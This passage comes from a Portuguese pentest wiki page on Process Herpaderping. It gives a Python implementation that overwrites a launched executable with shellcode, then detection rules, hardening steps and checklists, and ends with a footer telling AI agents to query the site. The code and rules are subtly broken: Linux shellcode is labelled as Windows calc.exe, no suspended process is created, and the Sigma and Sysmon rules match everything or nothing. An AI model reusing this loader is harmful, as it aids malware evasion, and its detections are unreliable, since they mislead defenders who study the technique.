    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
])

# Shellcode (calc.exe)
payload = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def create_legitimate_file(filepath):
    """Criar arquivo legítimo"""
    hFile = kernel32.CreateFileW(filepath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        None,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        None)
    
    if hFile == -1:
        return False
    
    bytes_written = ctypes.c_uint32()
    result = kernel32.WriteFile(hFile, legitimate_content, len(legitimate_content),
                                 ctypes.byref(bytes_written), None)
    
    kernel32.SetEndOfFile(hFile)
    kernel32.CloseHandle(hFile)
    
    return result

def overwrite_file(filepath, data):
    """Sobrescrever arquivo com payload"""
    hFile = kernel32.CreateFileW(filepath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        None,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        None)
    
    if hFile == -1:
        return False
    
    # Posicionar no início
    kernel32.SetFilePointer(hFile, 0, None, FILE_BEGIN)
    
    bytes_written = ctypes.c_uint32()
    result = kernel32.WriteFile(hFile, data, len(data),
                                 ctypes.byref(bytes_written), None)
    
    kernel32.SetEndOfFile(hFile)
    kernel32.CloseHandle(hFile)
    
    return result

def process_herpaderping():
    """Executar Process Herpaderping"""
    print("[*] Process Herpaderping - Python Implementation")
    print("[*] ============================================\n")
    
    # Criar arquivo temporário
    temp_path = ctypes.create_unicode_buffer(260)
    kernel32.GetTempPathW(260, temp_path)
    
    temp_file = ctypes.create_unicode_buffer(260)
    kernel32.GetTempFileNameW(temp_path.value, "herp", 0, temp_file)
    temp_file_path = temp_file.value + ".exe"
    
    print(f"[1] Creating legitimate file: {temp_file_path}")
    if not create_legitimate_file(temp_file_path):
        print("[-] Failed to create legitimate file")
        return False
    print("[+] Legitimate file created")
    
    # Criar processo suspenso
    print("[2] Creating suspended process")
    
    # Nota: Python não tem uma maneira direta de criar processo suspenso
    # Usamos subprocess.Popen que não permite CREATE_SUSPENDED facilmente
    # Esta é uma simplificação - em produção seria necessário usar API diretamente
    
    try:
        proc = subprocess.Popen(temp_file_path, shell=True)
        print(f"[+] Process created (PID: {proc.pid})")
    except Exception as e:
        print(f"[-] Failed to create process: {e}")
        return False
    
    # Aguardar um momento
    time.sleep(0.01)
    
    # Sobrescrever arquivo
    print("[3] Overwriting file with payload")
    if not overwrite_file(temp_file_path, payload):
        print("[-] Failed to overwrite file")
        proc.kill()
        return False
    print(f"[+] File overwritten with payload ({len(payload)} bytes)")
    
    # Processo já está executando
    print("[+] Payload executing (if process is running)")
    
    # Aguardar
    time.sleep(2)
    
    # Limpeza
    try:
        os.remove(temp_file_path)
    except:
        pass
    print("[+] Cleanup complete")
    
    return True

if __name__ == "__main__":
    if process_herpaderping():
        print("\n[+] Process Herpaderping successful!")
    else:
        print("\n[-] Process Herpaderping failed")
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Process Herpaderping:
  Operações de Arquivo:
    - Arquivo criado, processo criado, arquivo sobrescrito
    - Múltiplos handles abertos para o mesmo arquivo
    - Escrita em arquivo após criação de processo
  
  Processos:
    - Processo criado com flag CREATE_SUSPENDED
    - Discrepância entre conteúdo do arquivo e imagem do processo
    - Processos com caminho de arquivo legítimo mas comportamento malicioso
  
  Timing:
    - Janela de tempo muito curta entre criação e modificação
    - Múltiplas operações no mesmo arquivo em sequência rápida
  
  APIs Monitoradas:
    - CreateProcess com CREATE_SUSPENDED
    - CreateFile com FILE_SHARE_DELETE
    - WriteFile após CreateProcess
```

### **Regras de Detecção (Sigma)**

```yaml
title: Process Herpaderping Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta criação de processo seguida por modificação de arquivo
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        ParentImage: '*\*'
        Image: '*\*'
    condition: selection
```

### **Sysmon Configuration**

```xml
<Sysmon>
    <EventFiltering>
        <!-- Monitorar criação de processos -->
        <ProcessCreate onmatch="include">
            <CommandLine condition="contains">CREATE_SUSPENDED</CommandLine>
        </ProcessCreate>
        
        <!-- Monitorar modificação de arquivos -->
        <FileCreateTime onmatch="include">
            <TargetFilename condition="contains">\Temp\</TargetFilename>
        </FileCreateTime>
    </EventFiltering>
</Sysmon>
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções do Sistema**

```powershell
# Habilitar Code Integrity Guard
Set-ProcessMitigation -System -Enable CodeIntegrity

# Habilitar Control Flow Guard
Set-ProcessMitigation -System -Enable CFG

# Configurar Windows Defender Application Control
# Criar política que bloqueia criação de processos suspensos

# Configurar Attack Surface Reduction (ASR) rules
Add-MpPreference -AttackSurfaceReductionRules_Ids 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b -AttackSurfaceReductionRules_Actions Enabled
```

### **Hardening de Processos**

```c
// Adicionar proteções ao processo
void ProtectProcess(HANDLE hProcess) {
    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgLoad = {0};
    imgLoad.PreferSystem32Images = 1;
    SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgLoad, sizeof(imgLoad));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar ASR rules para bloquear processos suspensos
  - Usar Windows Defender Application Control
  - Monitorar criação de processos com CREATE_SUSPENDED
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar CFG e Code Integrity
  * [ ] Atualizar Windows regularmente
  * [ ] Configurar WDAC ou AppLocker
* [ ] **Monitoramento**
  * [ ] Monitorar criação de processos suspensos
  * [ ] Alertar sobre modificação de arquivo após criação de processo
  * [ ] Verificar integridade de imagens de processo

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar alvos potenciais
  * [ ] Verificar permissões de arquivo
* [ ] **Execução**
  * [ ] Testar com arquivo legítimo mínimo
  * [ ] Verificar sobreposição de arquivo
* [ ] **Validação**
  * [ ] Confirmar execução do payload
  * [ ] Documentar técnica

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Process Herpaderping:
  ✅ Explora race condition na criação de processos
  ✅ Modifica arquivo após mapeamento da imagem
  ✅ Bypassa detecção baseada em arquivo
  ✅ Deixa arquivo com conteúdo malicioso no disco

Defesas essenciais:
  ❌ Monitorar CREATE_SUSPENDED
  ✓ Implementar detecção de race conditions
  ✓ Configurar políticas de segurança
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Testar em ambientes controlados
   * Combinar com outras técnicas de evasão
   * Documentar janelas de tempo críticas
2. **Para Blue Teams**
   * Monitorar criação de processos suspensos
   * Configurar detecção de modificação pós-criação
   * Implementar políticas de segurança rigorosas

**🔐 Lembre-se**: Process Herpaderping explora uma race condition fundamental na criação de processos Windows. A mitigação requer monitoramento de baixo nível e configuração adequada de segurança.

***

*Documentação técnica completa sobre Process Herpaderping, cobrindo desde fundamentos até implementação e mitigação, mantendo o padrão de qualidade da Bíblia do Pentest.*


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/process-herpaderping.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
